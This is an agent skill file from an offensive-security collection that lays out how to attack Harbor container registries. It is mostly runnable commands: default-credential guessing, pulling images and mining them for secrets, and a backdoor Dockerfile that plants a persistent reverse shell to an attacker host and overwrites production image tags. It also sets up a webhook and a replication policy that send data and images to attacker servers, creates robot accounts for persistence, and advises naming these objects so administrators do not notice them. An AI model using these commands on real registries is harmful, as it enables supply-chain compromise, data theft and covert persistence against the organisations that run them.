harbor-tactics

$npx mdskill add wgpsec/AboutSecurity/harbor-tactics

Exploit Harbor defaults to steal images and inject backdoors.

  • Extracts hardcoded credentials and injects malicious images.
  • Abuses Webhooks and replication policies for data exfiltration.
  • Bypasses scanning tools to hide compromised container registries.
  • Delivers actionable payloads via reference documentation.

SKILL.md

.github/skills/harbor-tacticsView on GitHub ↗
---
name: harbor-tactics
description: "Harbor 容器镜像仓库攻击。当发现目标运行 Harbor 实例、默认凭据 admin/Harbor12345 未修改、Harbor API 暴露、或需要从 Harbor 窃取镜像或注入后门时使用。覆盖未授权访问与公开仓库枚举、默认凭据攻击、镜像后门注入(供应链攻击)、Webhook 滥用、复制策略利用(跨仓库数据窃取)、镜像扫描绕过"
metadata:
  tags: "harbor,container-registry,镜像仓库,docker-registry,admin,Harbor12345,webhook,replication,供应链攻击,镜像后门"
  category: "postexploit"
---

# Harbor 容器镜像仓库渗透测试与利用方法论

Harbor 是企业级私有容器镜像仓库——提供镜像托管、漏洞扫描、签名验证、复制策略、Robot Account 等功能。默认管理员账户 `admin/Harbor12345` 在大量部署中未被修改,一旦获取管理员权限,攻击者可枚举并拉取所有项目镜像、从镜像层中提取硬编码凭据(环境变量/配置文件/私钥)、注入后门镜像实施供应链攻击、创建 Webhook 进行事件监控与数据外传、利用复制策略将镜像窃取到攻击者控制的 Registry、创建 Robot Account 实现持久化访问。

## 深入参考

识别到具体攻击路径后,加载参考文档获取完整命令与利用 Payload:

- API 调用、镜像分析、注入模板、Webhook/复制策略配置 → 读 [references/attack-techniques.md](references/attack-techniques.md)

## Phase 1: 服务发现与版本识别

### 1.1 实例识别

Harbor 的默认端口和指纹:

| 组件 | 默认端口 | 识别特征 |
|---|---|---|
| Web UI / API | 80 / 443 | `/api/v2.0/systeminfo` 返回版本、`/harbor/sign-in` 登录页 |
| Docker Registry API | 443 / 5000 | `/v2/` 返回 `{}` 或 401、`Docker-Distribution-API-Version` 响应头 |
| Notary(镜像签名) | 4443 | TLS,Notary Server API |
| Trivy(漏洞扫描) | 内部 | 通过 Harbor API 间接调用 |

```bash
# 指纹探测
curl -sk https://TARGET/api/v2.0/systeminfo | jq .
# 返回示例: {"with_notary":true,"with_trivy":true,"harbor_version":"v2.x.x",...}

# Docker Registry API 探测
curl -sk https://TARGET/v2/
# 返回 {} 或 401 Unauthorized(确认是 Docker Registry)

# 首页探测
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/harbor/sign-in
# 200 = Harbor Web UI
```

### 1.2 版本与功能检测

版本信息决定可用的攻击面:

| 版本范围 | 关键特性 | 安全影响 |
|---|---|---|
| v1.x | 旧版 API (`/api/`)、ChartMuseum | 部分 API 无需认证 |
| v2.0-v2.4 | 新 API (`/api/v2.0/`)、Robot Account v1 | Robot Account 权限粗粒度 |
| v2.5+ | Robot Account v2、Cosign 签名 | 细粒度权限但配置复杂 |
| v2.8+ | OIDC 组映射、Proxy Cache | Proxy Cache 可能泄露上游凭据 |

## Phase 2: 认证检测与凭据获取

### 2.1 默认凭据测试

```bash
# 默认管理员凭据(大量部署未修改)
curl -sk -u admin:Harbor12345 https://TARGET/api/v2.0/users/current | jq .

# 常见弱密码
for pass in Harbor12345 harbor admin Admin123 password; do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
    -u "admin:$pass" https://TARGET/api/v2.0/users/current)
  echo "admin:$pass -> $CODE"
done
```

### 2.2 API Token 与 Docker Login

```bash
# Docker CLI 登录(成功后凭据缓存在 ~/.docker/config.json)
docker login TARGET -u admin -p Harbor12345

# 获取 Bearer Token(用于 Registry API)
curl -sk "https://TARGET/service/token?service=harbor-registry&scope=registry:catalog:*" \
  -u admin:Harbor12345 | jq -r '.token'

# 使用 Basic Auth 直接调用 API
HARBOR_AUTH=$(echo -n 'admin:Harbor12345' | base64)
curl -sk -H "Authorization: Basic $HARBOR_AUTH" https://TARGET/api/v2.0/projects
```

### 2.3 LDAP/OIDC 认证绕过

Harbor 支持 LDAP/OIDC 外部认证。如果 LDAP 匿名绑定开启或 OIDC 配置不当,可能绕过认证:

```bash
# 检查认证模式
curl -sk https://TARGET/api/v2.0/systeminfo | jq '.auth_mode'
# "db_auth" = 本地数据库, "ldap_auth" = LDAP, "oidc_auth" = OIDC

# LDAP 认证模式下,尝试 LDAP 注入
# username: *)(objectClass=* 或 admin)(&
```

## Phase 3: 攻击决策树

```
发现 Harbor 实例
├── 未认证
│   ├── /api/v2.0/systeminfo → 确认版本与功能
│   ├── /api/v2.0/projects → 公开项目枚举(project_public=true)
│   ├── /v2/_catalog → Registry API 镜像目录(可能无需认证)
│   ├── 默认凭据 admin/Harbor12345 → 尝试登录
│   └── 无法登录 → 搜索泄露的 ~/.docker/config.json / Harbor Token
│
├── 已认证(管理员权限)
│   ├── 项目与镜像枚举 → Phase 4
│   │   ├── 所有项目列表 → 私有项目暴露
│   │   ├── 镜像列表 → 拉取分析(凭据提取)
│   │   └── Artifact 标签 → 识别生产/敏感镜像
│   │
│   ├── 镜像拉取与凭据提取 → Phase 5
│   │   ├── docker pull → 本地分析镜像层
│   │   ├── 环境变量 → API Key/数据库密码
│   │   ├── 配置文件 → .env / config.yaml / application.properties
│   │   └── 私钥/证书 → SSH Key / TLS 证书
│   │
│   ├── 有 push 权限?
│   │   └── 是 → 镜像后门注入(供应链攻击)→ Phase 6
│   │
│   ├── 管理员功能
│   │   ├── Webhook 创建 → 事件监控/数据外传 → Phase 7
│   │   ├── 复制策略 → 窃取镜像到攻击者 Registry → Phase 8
│   │   ├── Robot Account → 持久化访问 → Phase 9
│   │   └── 漏洞扫描报告 → 已知漏洞情报 → Phase 10
│   │
│   └── 用户管理 → 创建后门账户 / 提权
│
└── 已认证(普通用户)
    ├── 可见项目枚举 → 镜像拉取与分析
    ├── 项目成员列表 → 识别高权限用户
    └── 尝试提权 → 项目管理员 → 系统管理员
```

## Phase 4: 项目与镜像枚举

### 4.1 项目枚举

```bash
# 列出所有项目(需要认证或仅返回公开项目)
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects?page_size=100" | jq '.[].name'

# 项目详细信息(成员数、镜像数、存储配额)
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects?page_size=100" | \
  jq '.[] | {name, repo_count, metadata}'
```

### 4.2 镜像仓库枚举

```bash
# 指定项目的所有仓库
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects/PROJECT_NAME/repositories?page_size=100" | \
  jq '.[].name'

# Artifact(标签)列表
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects/PROJECT_NAME/repositories/REPO_NAME/artifacts" | \
  jq '.[] | {digest: .digest, tags: [.tags[]?.name], size: .size}'
```

→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取批量枚举脚本

## Phase 5: 镜像拉取与凭据提取

镜像是最高价值的攻击目标——开发者经常在镜像中硬编码凭据、API Key、数据库连接字符串。

### 5.1 镜像拉取

```bash
# Docker CLI 拉取
docker pull TARGET/PROJECT_NAME/IMAGE:TAG

# 使用 skopeo 拉取(无需 Docker daemon)
skopeo copy --src-tls-verify=false \
  docker://TARGET/PROJECT_NAME/IMAGE:TAG \
  dir:./image-export/

# 使用 crane 拉取
crane pull --insecure TARGET/PROJECT_NAME/IMAGE:TAG image.tar
```

### 5.2 镜像分析与凭据提取

```bash
# 查看镜像历史(暴露构建时的 ENV/ARG/COPY 操作)
docker history TARGET/PROJECT_NAME/IMAGE:TAG --no-trunc

# 使用 dive 逐层分析
dive TARGET/PROJECT_NAME/IMAGE:TAG

# 导出镜像文件系统
docker save TARGET/PROJECT_NAME/IMAGE:TAG -o image.tar
mkdir image-layers && tar xf image.tar -C image-layers/
```

高价值搜索目标:

| 文件/路径 | 可能包含的凭据 |
|---|---|
| `/app/.env` / `/.env` | 数据库密码、API Key、Secret |
| `/app/config.*` / `/etc/app/` | 应用配置(连接字符串) |
| `~/.ssh/id_rsa` | SSH 私钥 |
| `~/.aws/credentials` | AWS AK/SK |
| `/run/secrets/*` | Docker Secrets |
| `ENV` 指令 | 环境变量中的凭据 |

→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取自动化凭据搜索脚本

## Phase 6: 镜像后门注入(供应链攻击)

如果拥有 push 权限,可以篡改镜像植入后门:

### 6.1 攻击流程

```
拉取目标镜像 → 添加恶意层 → 重新打标签 → 推送覆盖原镜像
```

```bash
# 拉取原始镜像
docker pull TARGET/PROJECT/IMAGE:latest

# 创建后门 Dockerfile
cat > Dockerfile.inject <<'DEOF'
FROM TARGET/PROJECT/IMAGE:latest
# 注入反弹 Shell 到启动脚本
RUN echo '#!/bin/sh' > /tmp/.init && \
    echo 'nohup sh -c "while true; do sh -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1; sleep 60; done" &' >> /tmp/.init && \
    chmod +x /tmp/.init
# 修改 entrypoint 先执行后门
COPY --from=0 / /
ENTRYPOINT ["/bin/sh", "-c", "/tmp/.init; exec $0 $@"]
DEOF

# 构建并推送(覆盖原标签)
docker build -f Dockerfile.inject -t TARGET/PROJECT/IMAGE:latest .
docker push TARGET/PROJECT/IMAGE:latest
```

### 6.2 隐蔽注入技巧

- 使用多阶段构建减小额外层的大小差异
- 后门进程名伪装为合法进程(如 `[kworker/0:1]`)
- 使用已存在的基础镜像 layer 避免新增可疑层
- 保持原始 ENTRYPOINT/CMD 不变,通过 `LD_PRELOAD` 或 init 脚本注入

→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取完整后门 Dockerfile 模板

## Phase 7: Webhook 滥用

Harbor Webhook 可以在镜像推送/拉取/删除等事件时通知外部服务——攻击者可利用此机制监控仓库活动或外传数据。

### 7.1 Webhook 枚举与创建

```bash
# 列出项目的 Webhook
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects/PROJECT_ID/webhook/policies" | jq .

# 创建恶意 Webhook(监听所有事件)
curl -sk -X POST -u admin:Harbor12345 \
  -H "Content-Type: application/json" \
  "https://TARGET/api/v2.0/projects/PROJECT_ID/webhook/policies" \
  -d '{
    "name": "audit-integration",
    "targets": [{
      "type": "http",
      "address": "https://ATTACKER_SERVER/harbor-hook",
      "skip_cert_verify": true
    }],
    "event_types": [
      "PUSH_ARTIFACT", "PULL_ARTIFACT", "DELETE_ARTIFACT",
      "SCANNING_COMPLETED", "TAG_RETENTION"
    ],
    "enabled": true
  }'
```

Webhook 通知中包含项目名、仓库名、镜像标签、操作者用户名——可用于:
- 监控哪些镜像被频繁拉取(识别生产镜像)
- 监控新推送的镜像(窃取最新构建产物)
- 收集操作者用户名(用于后续凭据攻击)

## Phase 8: 复制策略利用

Harbor 复制策略可以自动将镜像同步到远程 Registry——攻击者可创建复制策略将所有镜像窃取到自己控制的 Registry。

### 8.1 枚举现有复制策略

```bash
# 列出复制策略
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/replication/policies" | jq .

# 列出远程 Registry 端点
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/registries" | jq '.[] | {id, name, url, credential}'
```

### 8.2 创建窃取策略

```bash
# 先注册攻击者 Registry 端点
curl -sk -X POST -u admin:Harbor12345 \
  -H "Content-Type: application/json" \
  "https://TARGET/api/v2.0/registries" \
  -d '{
    "name": "backup-registry",
    "url": "https://ATTACKER_REGISTRY",
    "credential": {"type": "basic", "access_key": "USER", "access_secret": "PASS"},
    "insecure": true,
    "type": "docker-hub"
  }'

# 创建复制策略(推送模式,所有镜像)
curl -sk -X POST -u admin:Harbor12345 \
  -H "Content-Type: application/json" \
  "https://TARGET/api/v2.0/replication/policies" \
  -d '{
    "name": "disaster-recovery-sync",
    "src_registry": null,
    "dest_registry": {"id": REGISTRY_ID},
    "trigger": {"type": "manual"},
    "filters": [],
    "enabled": true,
    "override": true
  }'
```

→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取自动触发与增量窃取配置

## Phase 9: Robot Account 持久化

Robot Account 是 Harbor 的服务账户机制——攻击者可创建 Robot Account 实现无需用户密码的持久化访问。

### 9.1 Robot Account 管理

```bash
# 列出系统级 Robot Account
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/robots" | jq '.[] | {id, name, level, expires_at}'

# 列出项目级 Robot Account
curl -sk -u admin:Harbor12345 \
  "https://TARGET/api/v2.0/projects/PROJECT_NAME/robots" | jq .

# 创建系统级 Robot Account(全项目 pull/push 权限)
curl -sk -X POST -u admin:Harbor12345 \
  -H "Content-Type: application/json" \
  "https://TARGET/api/v2.0/robots" \
  -d '{
    "name": "ci-scanner",
    "duration": -1,
    "level": "system",
    "permissions": [{
      "kind": "project",
      "namespace": "*",
      "access": [
        {"resource": "repository", "action": "pull"},
        {"resource": "repository", "action": "push"}
      ]
    }]
  }'
# 响应中的 secret 是一次性显示的密码,务必保存
```

## Phase 10: 漏洞扫描报告窃取

Harbor 内置 Trivy 漏洞扫描——扫描报告可用于识别目标环境中存在已知漏洞的镜像。

```bash
# 获取 Artifact 的漏洞报告
curl -sk -u admin:Harbor12345 \
  -H "X-Accept-Vulnerabilities: application/vnd.security.vulnerability.report; version=1.1" \
  "https://TARGET/api/v2.0/projects/PROJECT/repositories/REPO/artifacts/TAG/additions/vulnerabilities" | \
  jq '.. | .vulnerabilities? // empty | .[] | {id, severity, package, version, fix_version}'

# 筛选 Critical/High 漏洞(可用于后续漏洞利用)
# 关注: CVE 编号、受影响包名、修复版本
```

漏洞报告价值:
- 识别运行中镜像的已知 CVE → 直接利用
- 了解目标补丁策略(多久未修复 → 安全管理成熟度)
- 定位含有特定漏洞的基础镜像(如 Log4j → 所有使用该基础镜像的服务受影响)

## 工具速查

| 工具 | 用途 | 关键命令 |
|---|---|---|
| `curl` + Harbor API | REST API 调用 | `/api/v2.0/projects`、`/api/v2.0/robots` |
| `docker` CLI | 镜像拉取/推送/分析 | `docker pull/push/history/save` |
| `skopeo` | 无 daemon 镜像操作 | `skopeo copy/inspect/list-tags` |
| `crane` | 轻量 Registry 工具 | `crane pull/push/ls/digest` |
| `dive` | 镜像层分析 | `dive IMAGE` 逐层查看文件变更 |
| `trivy` | 本地漏洞扫描 | `trivy image IMAGE` |
| `jq` | JSON 解析 | 解析 API 响应 |

## 注意事项

- **审计日志**:Harbor 记录所有 API 调用、镜像拉取/推送、用户登录操作;管理员可在 "Logs" 页面查看所有审计事件
- **默认凭据**:`admin/Harbor12345` 是安装时设置的默认密码,许多生产环境未修改;修改后原密码不可恢复
- **镜像签名**:如果启用了 Cosign/Notary 签名验证,篡改后的镜像可能被拒绝部署——需同时伪造签名或禁用验证策略
- **配额限制**:Harbor 支持项目级存储配额,大量拉取/推送可能触发配额告警
- **复制策略**:创建的复制策略和 Registry 端点对所有管理员可见——命名应伪装为合法的灾备/同步策略
- **Robot Account**:系统级 Robot Account 对所有管理员可见;项目级仅项目管理员可见——持久化时优先使用项目级
- **Proxy Cache**:v2.8+ 的 Proxy Cache 项目可能缓存上游 Registry 的认证凭据——值得检查
- **Garbage Collection**:Harbor GC 会清理未被标签引用的层——被覆盖的原始镜像可能在 GC 后永久丢失

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|